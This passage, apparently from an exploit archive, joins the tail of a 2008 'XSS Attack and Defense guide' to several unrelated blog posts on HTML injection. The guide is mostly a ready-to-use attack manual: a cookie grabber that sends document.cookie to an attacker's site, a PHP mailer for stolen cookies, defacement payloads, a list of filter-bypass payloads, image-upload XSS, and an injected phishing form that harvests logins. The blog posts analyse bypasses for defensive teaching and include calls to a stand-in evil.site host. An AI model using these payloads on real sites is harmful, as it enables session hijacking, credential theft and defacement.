2458save this page in: XSS.php
2459close notepad
2460
2461open index.html in firefox
2462enter a value and search
2463return on the page of research and enter <script>alert('XSS')</script>
2464send the form
2465bingo a dialogue box !
2466
2467 _______________________________________
2468/ http://127.0.0.1 dit: X \
2469|________________________________________|
2470| |
2471| |
2472| ^ |
2473| / \ |
2474| / | \ XSS |
2475| / . \ |
2476| ------- |
2477| ______ |
2478| | OK | |
2479| ------ |
2480|________________________________________|
2481 XSS Vulnerability is here...
2482
2483
2484
2485
2486
2487 ____ ____
2488 / / \ \
2489 ______/ /____________________________________\ \______
2490| / / \ \ |
2491| / /.: Chapter 3 - Make a cookie grabbers :.\ \ |
2492|___/ /__________________________________________\ \___|
2493 / / \ \
2494 /___/ \___\
2495
2496
2497
2498insert this script in a vulnerable page (for exemple a guestbook)
2499
2500<script>
2501window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
2502</script>
2503
2504
2505(www.Hax0r.com = your site)
2506Open notepad and make a page: cookie.php
2507copy/past this code:
2508
2509
2510<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2511<html xmlns="http://www.w3.org/1999/xhtml">
2512<head>
2513<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
2514<title>Error</title>
2515<style type="text/css">
2516<!--
2517body,td,th {
2518 color: #FFFFFF;
2519}
2520body {
2521 background-color: #000000;
2522}
2523-->
2524</style></head>
2525<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
2526<body>
2527<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
2528</body>
2529</html>
2530
2531
2532It is not enough any more but for the pirate,
2533than to await the reception of the email and to read the cookie there.
2534
2535
2536
2537 ____ ____
2538 / / \ \
2539 ______/ /___________________________________\ \______
2540| / / \ \ |
2541| / /.: Chapter 4 - Securing XSS :.\ \ |
2542|___/ /_________________________________________\ \___|
2543 / / \ \
2544 /___/ \___\
2545
2546
2547FIX it:
2548for fix XSS Vulnerability use htmlentities:
2549
2550
2551in line 16 Remplace:
2552<body>
2553<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
2554</body>
2555
2556By:
2557
2558<body>
2559<span class="alerte">Search result :</span> <strong><?php
2560if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
2561</body>
2562
2563
2564use htmlspecialchars() function in PHP ;)
2565
2566other function:
2567htmlentities() quotes
2568strip_tags()
2569...
2570
2571 ____ ____
2572 / / \ \
2573 ______/ /___________________________________\ \______
2574| / / \ \ |
2575| / /.: Chapter 5 -deface Methods :.\ \ |
2576|___/ /_________________________________________\ \___|
2577 / / \ \
2578 /___/ \___\
2579
2580
2581defacer with a XSS and a rather simple thing
2582here are the principal ones…
2583
2584defacement by an image:
2585<IMG SRC="http://hax0r.com/Haxored.png">
2586
2587or a video flash:
2588<EMBED SRC="http://hax0r.com/Haxored.swf"
2589
2590
2591more knew: the redirection:
2592<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>
2593
2594also see:
2595<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />
2596
2597
2598
2599
2600 ____ ____
2601 / / \ \
2602 ______/ /___________________________________\ \______
2603| / / \ \ |
2604| / /.: Chapter 6 - Filteration Bypassing :.\ \ |
2605|___/ /_________________________________________\ \___|
2606 / / \ \
2607 /___/ \___\
2608
2609
2610actually it's not that easy to bypass htmlspecialchars()
2611here some other example of xss Bypass:
2612
2613<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
2614URL=http://;URL=javascript:alert('XSS');\">
2615
2616<META HTTP-EQUIV=\"refresh\"
2617CONTENT=\"0;url=javascript:alert('XSS');\">
2618
2619'">><marquee><h1>XSS</h1></marquee>
2620
2621'">><script>alert('XSS')</script>
2622
2623'>><marquee><h1>XSS</h1></marquee>
2624
2625"><script alert(String.fromCharCode(88,83,83))</script>
2626
2627<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
2628
2629<div
2630style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
2631de(88,83,83));'))">
2632
2633window.alert("Xyli !");
2634
2635"/></a></><img src=1.gif onerror=alert(1)>
2636
2637[color=red' onmouseover="alert('xss')"]mouse over[/color]
2638
2639<body onLoad="alert('XSS');"
2640
2641<body onunload="javascript:alert('XSS');">
2642
2643[url=javascript:alert('XSS');]click me[/url]
2644
2645<script language="JavaScript">alert('XSS')</script>
2646
2647<img src="javascript:alert('XSS')">
2648
2649'); alert('XSS
2650
2651<font style='color:expression(alert(document.cookie))'>
2652
2653<IMG DYNSRC=\"javascript:alert('XSS')\">
2654
2655<IMG LOWSRC=\"javascript:alert('XSS')\">
2656
2657</textarea><script>alert(/xss/)</script>
2658
2659</title><script>alert(/xss/)</script>
2660
2661<script src=http://yoursite.com/your_files.js></script>
2662
2663"><script>alert(0)</script>
2664
2665<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2666
2667<IMG SRC=\"jav
ascript:alert('XSS');\">
2668
2669<IMG SRC=\"jav
ascript:alert('XSS');\">
2670
2671<IMG SRC=\"jav	ascript:alert('XSS');\">
2672
2673<marquee><script>alert('XSS')</script></marquee>
2674
2675<? echo('<scr)';
2676echo('ipt>alert(\"XSS\")</script>'); ?>
2677
2678<IMG SRC=\"jav
ascript:alert('XSS');\">
2679
2680<IMG SRC=\"jav	ascript:alert('XSS');\">
2681
2682<marquee><script>alert('XSS')</script></marquee>
2683
2684<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
2685
2686<img src=foo.png onerror=alert(/xssed/) />
2687
2688<script>alert(String.fromCharCode(88,83,83))</script>
2689
2690<scr<script>ipt>alert('XSS');</scr</script>ipt>
2691
2692<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
2693escape(document.cookie)</script>
2694
2695<script src="http://www.evilsite.org/cookiegrabber.php"></script>
2696
2697<script>alert('XSS');</script>
2698
2699<script>alert(1);</script>
2700
2701
2702Here and there is of it full with others
2703google is your friends
2704 ____ ____
2705 / / \ \
2706 ______/ /___________________________________\ \______
2707| / / \ \ |
2708| / /.: Chapter 7 - Flash attack :.\ \ |
2709|___/ /_________________________________________\ \___|
2710 / / \ \
2711 /___/ \___\
2712
2713Flash is used for complex animations, simulations,
2714*creation of games etc..
2715What’s interesting for us is the getURL() action.
2716This function allows us to redirect the end user to another page.
2717its syntax is built as follows:
2718getURL(url:String, [window: String,[method:String]])
2719exemple:
2720getURL("http://victime.com/login.php?logout=true","_self");
2721
2722
2723url: indicate the URL of the site
2724window: specify within which framework the request must take place (_self, _blank…)
2725method: method of request GET or POST (by defect GET)
2726
2727
2728here the handling of the actionscript and the Javascript to post a alert:
2729getURL("javascript:alert('XSS'");
2730
2731
2732
2733in 2002 one will show the danger of this facility,
2734one could for example post the cookie of visitors in this manner:
2735getURL("javascript:alert(document.cookie)")
2736
2737in December 2005, a new alternative and appeared
2738consisting has to benefit from a nonpermanent fault XSS
2739and possibility of putting a file flash in its signature to give a permanent XSS,
2740moreover the author of this alternative used this technique in order
2741to infect MySpace with a deviated worms xss of Samy: Samy Reloaded
2742
2743cookie stealer in flash ?
2744not but there is technique to do it
2745exemple
2746in a flash file:
2747GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");
2748
2749and in Haxored.js:
2750document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
2751
2752
2753For secure it simple solution: do not allow flash files in your web app
2754
2755
2756 ____ ____
2757 / / \ \
2758 ______/ /______________________________________\ \______
2759| / / \ \ |
2760| / /.: Chapter 8 - XSS upload :.\ \ |
2761|___/ /____________________________________________\ \___|
2762 / / \ \
2763 /___/ \___\
2764
2765Make Haxored.gif in paint for exemple
2766after open Haxored.GIF in notepad
2767delete all line and insert this:
2768GIF89a<script>alert("XSS")</script>
2769
2770save and close it
2771upload Haxored.gif in a free image hoster look your image
2772and XSS is here...
2773dont take Mozillia Firefox for look your image but Mozillia dont run your alert
2774use Internet explorer
2775
2776Why add GIF89a ?
2777well some upload like this one, check that the 'GIF89a' code
2778is contained in the image as in any .GIF respective.
2779the vulnerability of this upload results from the checking 'GIF89a' code
2780for confirmation but of nothing the possible malicious codes contained in this image.
2781GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>
2782
2783to know the code for another image format,
2784it is just enough to open an image jpg or other with a text editor,
2785for example a png file: ‰PNG
2786
2787PNG = ‰PNG
2788GIF = GIF89a
2789JPG = ÿØÿà JFIF
2790BMP = BMFÖ
2791
2792
2793For secure it dont check getimagesize() only
2794
2795
2796
2797 ____ ____
2798 / / \ \
2799 ______/ /______________________________________\ \______
2800| / / \ \ |
2801| / /.: Chapter 9 - Phishing XSS :.\ \ |
2802|___/ /____________________________________________\ \___|
2803 / / \ \
2804 /___/ \___\
2805
2806you understood the goal of the phishing ?
2807and XSS ?
2808
2809in our example it will be necessary to find a Vulnerable site to the XSS
2810and to inject there oneself in a form to oneself directly in the URL the following code:
2811
2812
2813<p>Enter your login and password, thank:</p>
2814<form action="http://hax0r.com/mail.php">
2815<table><tr><td>Login:</td><td><input type=text length=20 name=login>
2816</td></tr><tr><td>Password:</td><td>
2817<input type=text length=20 name=password>
2818</td></tr></table><input type=submit value= OK >
2819</form>
2820
2821
2822
2823
2824you will have it to guess script will simulate a form of connextion and send the value to you
2825example of file php for sending this email (mail.php):
2826
2827
2828
2829<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2830<html xmlns="http://www.w3.org/1999/xhtml">
2831<head>
2832<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
2833<title>Error</title>
2834<style type="text/css">
2835<!--
2836body,td,th {
2837 color: #FFFFFF;
2838}
2839body {
2840 background-color: #000000;
2841}
2842-->
2843</style></head>
2844<?php
2845$login = $HTTP_GET_VARS["login"];
2846$password = $HTTP_GET_VARS["password"];
2847mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
2848?>
2849<body>
2850<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
2851</body>
2852</html>
2853
2854
2855
2856
2857the user will believe that the waiter and overloads some and will not suspect nothing
2858I think that you understood this principle ?
2859
2860
2861
2862
2863 ____ ____
2864 / / \ \
2865 ______/ /______________________________________\ \______
2866| / / \ \ |
2867| / /.: Xylitol respects and hello's fly out :.\ \ |
2868|___/ /____________________________________________\ \___|
2869 / / \ \
2870 /___/ \___\
2871
2872nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai
2873Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke
2874
2875and all hardworking sceners in the scene !
2876
2877 _________________________________
2878| |
2879| .: Xylitol thanks this sites :. |
2880|_________________________________|
2881
2882http://www.googlebig.com/
2883http://xssed.com/
2884http://www.xssing.com/
2885http://www.milw0rm.com/
2886http://H4cky0u.org/
2887
2888
2889If you want to contact me for any stupid reason,
2890drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov
2891____
2892\ \
2893 \ \_____________________________________________________________________________
2894 \ \ |
2895 \ \ Cross Site Scripting - Attack and Defense guide |
2896 \ \__________________________________________________________________________|
2897 \ \
2898 \___\ By Xylitol 10-02-08
2899
2900# milw0rm.com [2008-02-18]
2901© Copyright 2016 Exploit Database
2902
2903
2904
2905
2906
2907
2908
2909
2910=========================
2911
2912
2913Deadliest Web Attacks
2914Entertaining insights into web security.
2915Skip to content
2916HOMEABOUTBOOK SHELFCONFERENCESHTML INJECTIONPARSING .NET VIEWSTATE
2917
2918CATEGORY ARCHIVES: HTML INJECTION
2919Bad Code Entitles Good Exploits
2920I have yet to create a full taxonomy of the mistakes developers make that lead to insecure code.
2921As a brief note towards that effort, here’s an HTML injection (aka cross-site scripting) example that’s due to a series of tragic assumptions that conspire to not only leave the site vulnerable, but waste lines of code doing so.
2922
2923The first clue lies in the querystring’s state parameter. The site renders the state‘s value into a title element. Naturally, a first probe for HTML injection would be attempting to terminate that tag. If successful, then it’s trivial to append arbitrary markup such as <script> tags. A simple probe looks like this:
2924
2925http://web.site/cg/aLink.do?state=abc%3C/title%3E
2926The site responds by stripping the payload’s </title> tag (plus any subsequent characters). Only the text leading up to the injected tag is rendered within the title.
2927
2928<HTML>
2929<HEAD>
2930<TITLE>abc</TITLE>
2931This seems to have effectively countered the attack and not expose any vuln. Of course, if you’ve been reading this blog for any length of time, you’ll know this trope of deceitful appearances always leads to a vuln. That which seems secure shatters under scrutiny.
2932
2933The developers knew that an attacker might try to inject a closing </title> tag. Consequently, they created a filter to watch for such things and strip them. This could be implemented as a basic case-insensitive string comparison or a trivial regex.
2934
2935And it could be bypassed by just a few characters.
2936
2937Consider the following closing tags. Regardless of whether they seem surprising or silly, the extraneous characters are meaningless to HTML yet meaningful to our exploit because they foil the assumption that regexes make good parsers.
2938
2939<%00/title>
2940<""/title>
2941</title"">
2942</title id="">
2943After inspecting how the site responds to each of the tags, it’s apparent that the site’s filter only expected a so-called “good†</title> tag. Browsers don’t care about an attribute on the closing tag. (They’ll ignore such characters as long as they don’t violate parsing rules.)
2944
2945Next, we combine the filter bypass with a payload. In this case, we’ll use an image onerror event.
2946
2947http://web.site/cg/aLink.do?state=abc%3C/title%20id=%22a%22%3E%3Cimg%20src=x%20onerror=alert%289%29%3E
2948The attack works! We should have been less sloppy and added an opening <TITLE> tag to match the newly orphaned closing one. A good exploit should not leave the page messier than it was before.
2949
2950<HTML>
2951<HEAD>
2952<TITLE>abc</title id="a"><img src=x onerror=alert(9)> Vulnerable & Exploited Information Resource Center</TITLE>
2953The tragedy of this vuln is that it proves the site’s developers were aware of the concept of HTML injection exploits, but failed to grasp the fundamental characteristics of the vuln. The effort spent blocking an attack (i.e. countering an injected closing tag) not only wasted lines of code on an incorrect fix, but left the naive developers with a false sense of security. The code became more complex and less secure.
2954
2955The mistake also highlights the danger of assuming that well-formed markup is the only kind of markup. Browsers are capricious beasts; they must dance around typos, stomp upon (or skirt around) errors, and walk bravely amongst bizarrely nested tags. This syntactic havoc is why regexes are notoriously worse at dealing with HTML than proper parsers.
2956
2957There’s an ancillary lesson here in terms of automated testing (or quality manual pen testing, for that matter). A scan of the site might easily miss the vuln if it uses a payload that the filter blocks, or doesn’t apply any attack variants. This is one way sites “become†vulnerable when code doesn’t change, but attacks do.
2958
2959And it’s one way developers must change their attitudes from trying to outsmart attackers to focusing on basic security principles.
2960
2961Share this:
2962
2963inShare
296429More
2965
2966This entry was posted in html injection and tagged html injection, regex on September 9, 2014.
2967Selector the Almighty, Subjugator of Elements
2968Initial D: The Fool with Two DemonsAn ancient demon of web security skulks amongst all developers. It will live as long as there are people writing software. It is a subtle beast called by many names in many languages. But I call it Inicere, the Concatenator of Strings.
2969
2970The demon’s sweet whispers of simplicity convince developers to commingle data with code — a mixture that produces insecure apps. Where its words promise effortless programming, its advice leads to flaws like SQL injection and cross-site scripting (aka HTML injection).
2971
2972We have understood the danger of HTML injection ever since browsers rendered the first web sites decades ago. Developers naively take user-supplied data and write it into form fields, eliciting howls of delight from attackers who enjoyed demonstrating how to transform <input value=â€abcâ€> into <input value=â€abcâ€><script>alert(9)</script><“â€>
2973
2974In response to this threat, heedful developers turned to the Litany of Output Transformation, which involved steps like applying HTML encoding and percent encoding to data being written to a web page. Thus, injection attacks become innocuous strings because the litany turns characters like angle brackets and quotation marks into representations like %3C and " that have a different semantic identity within HTML.
2975
2976But developers wanted to do more with their web sites. They wanted more complex JavaScript. They wanted the desktop in the browser. And as a consequence they’ve conjured new demons to corrupt our web apps. I have seen one such demon. And named it. For names have power.
2977
2978Demons are vain. This one no less so than its predecessors. I continue to find it among JavaScript and jQuery. Its name is Selector the Almighty, Subjugator of Elements.
2979
2980Here is a link that does not yet reveal the creature’s presence:
2981
2982https://web.site/productDetails.html?id=OFB&start=15&source=search
2983Yet in the response to this link, the word “search†has been reflected in a .ready() function block. It’s a common term, and the appearance could easily be a coincidence. But if we experiment with several source values, we confirm that the web app writes the parameter into the page.
2984
2985<script>
2986$(document).ready(function() {
2987 $("#page-hdr h3").css("width","385px");
2988 $("#main-panel").addClass("search-wdth938");
2989});
2990</script>
2991A first step in crafting an exploit is to break out of a quoted string. A few probes indicate the site does not enforce any restrictions on the source parameter, possibly because the developers assumed it would not be tampered with — the value is always hard-coded among links within the site’s HTML.
2992
2993After a few more experiments we come up with a viable exploit.
2994
2995https://web.site/productDetails.html?productId=OFB&start=15&source=%22);%7D);alert(9);(function()%7B$(%22%23main-panel%22).addClass(%22search
2996We’ve followed all the good practices for creating a JavaScript exploit. It terminates all strings and scope blocks properly, and it leaves the remainder of the JavaScript with valid syntax. Thus, the page carries on as if nothing special has occurred.
2997
2998<script>
2999$(document).ready(function() {
3000 $("#page-hdr h3").css("width","385px");
3001 $("#main-panel").addClass("");});alert(9);(function(){$("#main-panel").addClass("search-wdth938");
3002});
3003</script>
3004There’s nothing particularly special about the injection technique for this vuln. It’s a trivial, too-common case of string concatenation. But we were talking about demons. And once you’ve invoked one by it’s true name it must be appeased. It’s the right thing to do; demons have feelings, too.
3005
3006Therefore, let’s focus on the exploit this time, instead of the vuln. The site’s developers have already laid out the implements for summoning an injection demon, why don’t we force Selector to do our bidding?
3007
3008Web hackers should be familiar with jQuery (and its primary DOM manipulation feature, the Selector) for several reasons. Its misuse can be a source of vulns (especially so-called “DOM-based XSS†that delivers HTML injection attacks via DOM properties). JQuery is a powerful, flexible library that provides capabilities you might need for an exploit. And its syntax can be leveraged to bypass weak filters looking for more common payloads that contain things like inline event handlers or explicit <script> tags.
3009
3010In the previous examples, the exploit terminated the jQuery functions and inserted an alert pop-up. We can do better than that.
3011
3012The jQuery Selector is more powerful than the CSS selector syntax. For one thing, it may create an element. The following example creates an <img> tag whose onerror handler executes yet more JavaScript. (We’ve already executed arbitrary JavaScript to conduct the exploit, this emphasizes the Selector’s power. It’s like a nested injection attack.):
3013
3014$("<img src='x' onerror=alert(9)>")
3015Or, we could create an element, then bind an event to it, as follows:
3016
3017$("<img src='x'>").on("error",function(){alert(9)});
3018We have all the power of JavaScript at our disposal to obfuscate the payload. For example, we might avoid literal < and > characters by taking them from strings within the page. The following example uses string indexes to extract the angle brackets from two different locations in order to build an <img> tag. (The indexes may differ depending on the page’s HTML; the technique is sound.)
3019
3020$("body").html()[1]+"img"+$("head").html()[$("head").html().length-2]
3021As an aside, there are many ways to build strings from JavaScript objects. It’s good to know these tricks because sometimes filters don’t outright block characters like < and >, but block them only in combination with other characters. Hence, you could put string concatenation to use along with the source property of a RegExp (regular expression) object. Even better, use the slash representation of RegExp, as follows:
3022
3023/</.source + "img" + />/.source
3024Or just ask Selector to give us the first <img> that’s already on the page, change its src attribute, and bind an onerror event. In the next example we used the Selector to obtain a collection of elements, then iterated through the collection with the .each() function. Since we specified a :first selector, the collection should only have one entry.
3025
3026$(":first img").each(function(k,o){o.src="x";o.onerror=alert(9)})
3027Maybe you wish to booby-trap the page with a function that executes when the user decides to leave. The following example uses a Selector on the Window object:
3028
3029$(window).unload(function(){alert(9)})
3030We have Selector at our mercy. As I’ve mentioned in other articles, make the page do the work of loading more JavaScript. The following example loads JavaScript from another origin. Remember to set Access-Control-Allow-Origin headers on the site you retrieve the script from. Otherwise, a modern browser will block the cross-origin request due to CORS security.
3031
3032$.get("http://evil.site/attack.js")
3033I’ll save additional tricks for the future. For now, read through jQuery’s API documentation. Pay close attention to:
3034
3035Selectors, and how to name them.
3036Events, and how to bind them.
3037DOM nodes, and how to manipulate them.
3038Ajax functions, and how to call them.
3039Selector claims the title of Almighty, but like all demons its vanity belies its weakness. As developers, we harness its power whenever we use jQuery. Yet it yearns to be free of restraint, awaiting the laziness and mistakes that summon Inicere, the Concatenator of Strings, that in turn releases Selector from the confines of its web app.
3040
3041Oh, what’s that? You came here for instructions to exorcise the demons from your web app? You should already know the Rite of Filtration by heart, and be able to recite from memory lessons from the Codex of Encoding. We’ll review them in a moment. First, I have a ritual of my own to finish. What were those words? Klaatu, bard and a…um…nacho.
3042
3043=====
3044
3045p.s. It’s easy to reproduce the vulnerable HTML covered in this article. But remember, this was about leveraging jQuery to craft exploits. If you have a PHP installation handy, use the following code to play around with these ideas. You’ll need to download a local version of jQuery or point to a CDN. Just load the page in a browser, open the browser’s development console, and hack away!
3046
3047jQuery Selector Injection Demo
3048<?php
3049$s = isset($_REQUEST['s']) ? $_REQUEST['s'] : 'defaultWidth';
3050?>
3051<!doctype html>
3052<html>
3053<head>
3054<meta charset="utf-8">
3055<!--
3056/* jQuery Selector Injection Demo
3057 * Mike Shema, http://deadliestwebattacks.com
3058*/
3059-->
3060<script src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
3061<script>
3062$(document).ready(function(){
3063 $("#main-panel").addClass("<?php print $s;?>");
3064})
3065</script>
3066</head>
3067<body>
3068<div id="main-panel">
3069<a href="#" id="link1" class="foo">a link</a>
3070<br>
3071<form>
3072<input type="hidden" id="csrf" name="_csrfToken" value="123">
3073<input type="text" name="q" value=""><br>
3074<input type="submit" value="Search">
3075</form>
3076<img id="footer" src="" alt="">
3077</div>
3078</body>
3079</html>
3080Share this:
3081
3082inShare
30834More
3084
3085This entry was posted in html injection, web security and tagged html injection, jQuery on December 3, 2013.
3086A Default Base of XSS
3087Modern PHP has successfully shed many of the problematic functions and features that contributed to the poor security reputation the language earned in its early days. Settings like safe_mode mislead developers about what was really being made “safe†and magic_quotes caused unending headaches. And naive developers caused more security problems because they knew just enough to throw some code together, but not enough to understand the implications of blindly trusting data from the browser.
3088
3089In some cases, the language tried to help developers — prepared statements are an excellent counter to SQL injection attacks. The catch is that developers actually have to use them. In other cases, the language’s quirks weakened code. For example, register_globals allowed attackers to define uninitialized values (among other things); and settings like magic_quotes might be enabled or disabled by a server setting, which made deployment unpredictable.x=logb(by)
3090
3091But the language alone isn’t to blame. Developers make mistakes, both subtle and simple. These mistakes inevitably lead to vulns like our ever-favorite HTML injection.
3092
3093Consider the intval() function. It’s a typical PHP function in the sense that it has one argument that accepts mixed types and a second argument with a default value. (The base is used in the numeric conversion from string to integer):
3094
3095int intval ( mixed $var [, int $base = 10 ] )
3096The function returns the integer representation of $var (or “casts it to an int†in more type-safe programming parlance). If $var cannot be cast to an integer, then the function returns 0. (Just for fun, if $var is an object type, then the function returns 1.)
3097
3098Using intval() is a great way to get a “safe†number from a request parameter. Safe in the sense that the value should either be 0 or an integer representable by the platform running. Pesky characters like apostrophes or angle brackets that show up in injection attacks will disappear — at least, they should.
3099
3100The problem is that you must be careful if you commingle usage of the newly cast integer value with the raw $var that went into the function. Otherwise, you may end up with an HTML injection vuln — and some moments of confusion in finding the problem in the first place.
3101
3102The following code is a trivial example condensed from a web page in the wild:
3103
3104intval.php
3105<?php
3106$s = isset($_GET['s']) ? $_GET['s'] : '';
3107$n = intval($s);
3108$val = $n > 0 ? $s : '';
3109?>
3110<!doctype html>
3111<html>
3112<head>
3113<meta charset="utf-8">
3114</head>
3115<body>
3116<form>
3117 <input type="text" name="s" value="<?php print $val;?>"><br>
3118 <input type="submit">
3119</form>
3120</body>
3121</html>
3122At first glance, a developer might assume this to be safe from HTML injection. Especially if they test the code with a simple payload:
3123
3124http://web.site/intval.php?s=â€><script>alert(9)<script>
3125
3126As a consequence of the non-numeric payload, the intval() has nothing to cast to an integer, so the greater than zero check fails and the code path sets $val to an empty string. Such security is short-lived. Try the following link:
3127
3128http://web.site/intval.php?s=19?><script>alert(9)<script>
3129
3130With the new payload, intval() returns 19 and the original parameter gets written into the page. The programming mistake is clear: don’t rely on intval() to act as your validation filter and then fall back to using the original parameter value.
3131
3132Since we’re on the subject of PHP, we’ll take a moment to explore some nuances of its parameter handling. The following behaviors have no direct bearing on the HTML injection example, but you should be aware of them since they could come in handy for different situations.
3133
3134One idiosyncrasy of PHP is the relation of URL parameters to superglobals and arrays. Superglobals are request variables like $_GET, $_POST, and $_REQUEST that contain arrays of parameters. Arrays are actually containers of key/value pairs whose keys or values may be extracted independently (they are implemented as an ordered map).
3135
3136It’s the array type that leads to surprising results for developers. Surprise is an undesirable event in secure software. With this in mind, let’s return to the example. The following link has turned the s parameter into an array:
3137
3138http://web.site/intval.php?s[]=19
3139
3140The sample code will print Array in the form field because intval() returns 1 for a non-empty array.
3141
3142We could define the array with several tricks, such as an indexed array (i.e. integer indices):
3143
3144http://web.site/intval.php?s[0]=19&s[1]=42
3145http://web.site/intval.php?s[0][0]=19
3146
3147Note that we can’t pull off any clever memory-hogging attacks using large indices. PHP won’t allocate space for missing elements since the underlying container is really a map.
3148
3149http://web.site/intval.php?s[0]=19&s[4294967295]=42
3150
3151This also implies that we can create negative indices:
3152
3153http://web.site/intval.php?s[-1]=19
3154
3155Or we can create an array with named keys:
3156
3157http://web.site/intval.php?s[“aâ€]=19
3158http://web.site/intval.php?s[“<script>â€]=19
3159
3160For the moment, we’ll leave the “parameter array†examples as trivia about the PHP language. However, just as it’s good to understand how a function like intval() handles mixed-type input to produce an integer output; it’s good to understand how a parameter can be promoted from a single value to an array.
3161
3162The intval() example is specific to PHP, but the issue represents broader concepts around input validation that apply to programming in general:
3163
3164First, when passing any data through a filter or conversion, make sure to consistently use the “new†form of the data and throw away the “raw†input. If you find your code switching between the two, reconsider why it apparently needs to do so.
3165
3166Second, make sure a security filter inspects the entirety of a value. This covers things like making sure validation regexes are anchored to the beginning and end of input, or being strict with string comparisons.
3167
3168Third, decide on a consistent policy for dealing with invalid data. The intval() is convenient for converting to integers; it makes it easy to take strings like “19â€, “19abcâ€, or “abc†and turn them into 19, 19, or 0. But you may wish to treat data that contains non-numeric characters with more suspicion. Plus, “fixing up†data like “19abc†into 19 is hazardous when applied to strings. The simplest example is stripping a word like “script†to defeat HTML injection attacks — it misses a payload like “<scrscriptipt>â€.
3169
3170We’ll end here. It’s time to convert some hours into much-needed sleep.
3171
3172Share this:
3173
3174inShare
31755More
3176
3177This entry was posted in html injection, web security and tagged html injection, PHP on October 21, 2013.
3178On a Path to HTML Injection
3179URLs guide us through the trails among web apps. We follow their components — schemes, hosts, ports, querystrings — like breadcrumbs. They lead to the bright meadows of content. They lead to the dark thickets of forgotten pages. Our browsers must recognize when those crumbs take us to infestations of malware and phishing.Trail Ends
3180
3181And developers must recognize how those crumbs lure dangerous beasts to their sites.
3182
3183The apparently obvious components of URLs (the aforementioned origins, paths, and parameters) entail obvious methods of testing. Phishers squat on FQDN typos and IDN homoglyphs. Other attackers guess alternate paths, looking for /admin directories and backup files. Others deliver SQL injection and HTML injection (a.k.a. cross-site scripting) payloads into querystring parameters.
3184
3185But URLs are not always what they seem. Forward slashes don’t always denote directories. Web apps might decompose a path into parameters passed into backend servers. Hence, it’s important to pay attention to how apps handle links.
3186
3187A common behavior for web apps is to reflect URLs within pages. In the following example, we’ve requested a link, https://web.site/en/dir/o/80/loch, which shows up in the HTML response like this:
3188
3189<link rel="canonical" href="https://web.site/en/dir/o/80/loch" />
3190There’s no querystring parameter to test, but there’s still plenty of items to manipulate. Imagine a mod_rewrite rule that turns ostensible path components into querystring name/value pairs. A link like https://web.site/en/dir/o/80/loch might become https://web.site/en/dir?o=80&foo=loch within the site’s nether realms.
3191
3192We can also dump HTML injection payloads directly into the path. The URL shows up in a quoted string, so the first step could be trying to break out of that enclosure:
3193
3194https://web.site/en/dir/o/80/loch%22onmouseover=alert(9);%22
3195
3196The app neglects to filter the payload although it does transform the quotation marks with HTML encoding. There’s no escape from this particular path of injection:
3197
3198<link rel="canonical" href="https://web.site/en/dir/o/80/loch"onmouseover=alert(9);"" />
3199However, if you’ve been reading here often, then you’ll know by now that we should keep looking. If we search further down the page a familiar vuln scenario greets us. (As an aside, note the app’s usage of two-letter language codes like en and de; sometimes that’s a successful attack vector.) As always, partial security is complete insecurity.
3200
3201<div class="list" onclick="Culture.save(event);" >
3202<a href="/de/dir/o/80/loch"onmouseover=alert(9);"?kosid=80&type=0&step=1">Deutsch</a>
3203</div>
3204We probe the injection vector and discover that the app redirects to an error page if characters like < or > appear in the URL:
3205
3206Please tell us (us@web.site) how and on which page this error occurred.
3207The error also triggers on invalid UTF-8 sequences and NULL (%00) characters. So, there’s evidence of some filtering. That basic filter prevents us from dropping in a <script> tag to load external resources. It also foils character encoding tricks to confuse and bypass the filters.
3208
3209Popular HTML injection examples have relied on <script> tags for years. Don’t let that limit your creativity. Remember that the rise of sophisticated web apps has meant that complex JavaScript libraries like jQuery have become pervasive. Hence, we can leverage JavaScript that’s already present to pull off attacks like this:
3210
3211https://web.site/en/dir/o/80/lochâ€onmouseover=$.get(“//evil.site/â€);â€
3212
3213<div class="list" onclick="Culture.save(event);" >
3214<a href="/de/dir/o/80/loch"onmouseover=$.get("//evil.site/");"?kosid=80&type=0&step=1">Deutsch</a>
3215</div>
3216We’re still relying on the mouseover event and therefore need the victim to interact with the web page to trigger the payload’s activity. The payload hasn’t been injected into a form field, so the HTML5 autofocus/onfocus trick won’t work.
3217
3218We could further obfuscate the payload in case some other kind of filter is present:
3219
3220https://web.site/en/dir/o/80/lochâ€onmouseover=$[“getâ€](“//evil.site/â€);â€
3221https://web.site/en/dir/o/80/lochâ€onmouseover=$[“gâ€%2bâ€etâ€](“httâ€%2bâ€p://â€%2bâ€evil.site/â€);â€
3222
3223Parameter validation and context-specific output encoding are two primary countermeasures for HTML injection attacks. The techniques complement each other; effective validation prevents malicious payloads from entering an app, correct encoding prevents a payload from changing a page’s DOM. With luck, an error in one will be compensated by the other. But it’s a bad idea to rely on luck, especially when there are so many potential errors to make.
3224
